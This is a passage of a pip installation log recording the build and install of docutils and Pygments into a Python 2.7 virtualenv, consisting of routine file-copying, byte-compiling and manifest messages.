__init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/statemachine.py to statemachine.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/null.py to null.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/tableparser.py to tableparser.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/roles.py to roles.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/pt_br.py to pt_br.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/fr.py to fr.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/ca.py to ca.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/ja.py to ja.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/da.py to da.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/zh_cn.py to zh_cn.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/en.py to en.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/he.py to he.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/zh_tw.py to zh_tw.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/lt.py to lt.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/sk.py to sk.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/eo.py to eo.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/de.py to de.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/es.py to es.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/fi.py to fi.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/nl.py to nl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/it.py to it.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/sv.py to sv.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/af.py to af.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/cs.py to cs.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/ru.py to ru.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/gl.py to gl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/pl.py to pl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/states.py to states.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/images.py to images.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/tables.py to tables.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/parts.py to parts.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/admonitions.py to admonitions.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/html.py to html.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/references.py to references.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/body.py to body.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/misc.py to misc.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/__init__.py to __init__.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/standalone.py to standalone.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/pep.py to pep.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/doctree.py to doctree.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/__init__.py to __init__.pyc - - running install_data - - running install_egg_info - - running egg_info - - creating docutils.egg-info - - writing docutils.egg-info/PKG-INFO - - writing top-level names to docutils.egg-info/top_level.txt - - writing dependency_links to docutils.egg-info/dependency_links.txt - - writing manifest file 'docutils.egg-info/SOURCES.txt' - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'docutils.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - warning: no files found matching 'MANIFEST' - - warning: no files found matching '*' under directory 'extras' - - warning: no previously-included files matching '.cvsignore' found under directory '*' - - warning: no previously-included files matching '*.pyc' found under directory '*' - - warning: no previously-included files matching '*~' found under directory '*' - - warning: no previously-included files matching '.DS_Store' found under directory '*' - - writing manifest file 'docutils.egg-info/SOURCES.txt' - - Copying docutils.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils-0.11-py2.7.egg-info - - running install_scripts - - copying build/scripts-2.7/rst2xetex.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rstpep2html.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2pseudoxml.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2man.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2xml.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2odt.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2odt_prepstyles.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2latex.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2html.py -> /home/isis/.virtualenvs/python-gnupg/bin - - copying build/scripts-2.7/rst2s5.py -> /home/isis/.virtualenvs/python-gnupg/bin - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2xetex.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rstpep2html.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2pseudoxml.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2man.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2xml.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2odt.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2odt_prepstyles.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2latex.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2html.py to 755 - - changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2s5.py to 755 - - writing list of installed files to '/tmp/pip-LZGcJp-record/install-record.txt' - - Running setup.py install for Pygments - - Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/Pygments/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-8iPICV-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 - - running install - - running build - - running build_py - - creating build - - creating build/lib.linux-x86_64-2.7 - - creating build/lib.linux-x86_64-2.7/pygments - - copying pygments/scanner.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/style.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/lexer.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/console.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/plugin.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/cmdline.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/token.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/unistring.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/util.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/__init__.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/formatter.py -> build/lib.linux-x86_64-2.7/pygments - - copying pygments/filter.py -> build/lib.linux-x86_64-2.7/pygments - - creating build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/shell.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/special.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_robotframeworklexer.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/sql.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/templates.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_openedgebuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_asybuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_clbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_sourcemodbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/jvm.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/text.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/hdl.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_luabuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_vimbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/asm.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/web.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/compiled.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_phpbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_scilab_builtins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_postgres_builtins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/foxpro.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/math.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/other.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/__init__.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/dotnet.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_lassobuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/dalvik.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/agile.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/functional.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/parsers.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_mapping.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - copying pygments/lexers/_stan_builtins.py -> build/lib.linux-x86_64-2.7/pygments/lexers - - creating build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/rtf.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/terminal256.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/latex.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/html.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/bbcode.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/img.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/other.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/__init__.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/svg.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/terminal.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - copying pygments/formatters/_mapping.py -> build/lib.linux-x86_64-2.7/pygments/formatters - - creating build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/rrt.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/vim.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/vs.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/emacs.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/fruity.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/perldoc.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/pastie.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/bw.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/manni.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/murphy.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/friendly.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/trac.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/__init__.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/default.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/autumn.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/monokai.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/colorful.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/native.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/tango.py -> build/lib.linux-x86_64-2.7/pygments/styles - - copying pygments/styles/borland.py -> build/lib.linux-x86_64-2.7/pygments/styles - - creating build/lib.linux-x86_64-2.7/pygments/filters - - copying pygments/filters/__init__.py -> build/lib.linux-x86_64-2.7/pygments/filters - - running install_lib - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/scanner.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/shell.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/special.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_robotframeworklexer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/sql.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/templates.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_openedgebuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_asybuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_clbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_sourcemodbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/jvm.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/text.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/hdl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_luabuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_vimbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/asm.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/web.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/compiled.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_phpbuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_scilab_builtins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_postgres_builtins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/foxpro.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/math.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/other.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/dotnet.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_lassobuiltins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/dalvik.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/agile.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/functional.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/parsers.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_mapping.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/lexers/_stan_builtins.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers - - copying build/lib.linux-x86_64-2.7/pygments/style.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/lexer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/console.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/plugin.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/cmdline.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/token.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/unistring.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/rtf.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/terminal256.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/latex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/bbcode.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/img.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/other.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/svg.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/terminal.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - copying build/lib.linux-x86_64-2.7/pygments/formatters/_mapping.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/formatters - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/rrt.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/vim.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/vs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/emacs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/fruity.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/perldoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/pastie.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/bw.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/manni.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/murphy.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/friendly.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/trac.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/default.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/autumn.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/monokai.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/colorful.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/native.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/tango.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - copying build/lib.linux-x86_64-2.7/pygments/styles/borland.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/styles - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filters - - copying build/lib.linux-x86_64-2.7/pygments/filters/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/filters - - copying build/lib.linux-x86_64-2.7/pygments/util.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/formatter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - copying build/lib.linux-x86_64-2.7/pygments/filter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/scanner.py to scanner.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/shell.py to shell.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/special.py to special.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_robotframeworklexer.py to _robotframeworklexer.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/sql.py to sql.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/templates.py to templates.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_openedgebuiltins.py to _openedgebuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_asybuiltins.py to _asybuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_clbuiltins.py to _clbuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_sourcemodbuiltins.py to _sourcemodbuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/jvm.py to jvm.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/text.py to text.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/hdl.py to hdl.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_luabuiltins.py to _luabuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/_vimbuiltins.py to _vimbuiltins.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/asm.py to asm.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/web.py to web.pyc - - byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/pygments/lexers/compiled.py to compiled.pyc - - byte-compiling 